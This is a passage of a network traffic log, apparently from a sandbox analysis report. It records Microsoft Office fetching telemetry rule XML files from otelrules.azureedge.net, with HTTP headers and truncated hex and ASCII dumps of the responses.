2024-11-01 02:46:12 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:12 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 335320d3-001e-000b-4596-2a15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b78x44pv2mpb0dd37w00000002f000000000kwtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:12 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b78wc6ln1zsrz6q9w80000000a0000000000ph0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:13 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:12 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b78fkwcjkpn19c5dsn00000009e000000000bfhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:13 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 97090380-701e-0032-52b4-2aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024613Z-16849878b78wv88bk51myq5vxc0000000arg000000007rya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 522c145c-c01e-0066-0c1f-28a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024613Z-17c5cb586f67hfgj2durhqcxk800000009dg000000005fnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b981dc60-601e-0097-7636-29f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024613Z-15b8d89586ff5l62pee56u9uc8000000015g000000001qsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:13 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024613Z-15b8d89586f4zwgbgswvrvz4vs0000000bsg00000000f33n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:13 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 353065f2-001e-0079-737c-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024613Z-15b8d89586f6nn8zqg1h5suba800000005qg000000004d86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024614Z-16849878b7867ttgfbpnfxt44s0000000a7g00000000he50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 41496f62-601e-00ab-428f-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024614Z-17c5cb586f6zcqf8r7the4ske000000002ng00000000fmy1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024614Z-16849878b78tg5n42kspfr0x480000000agg00000000324b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 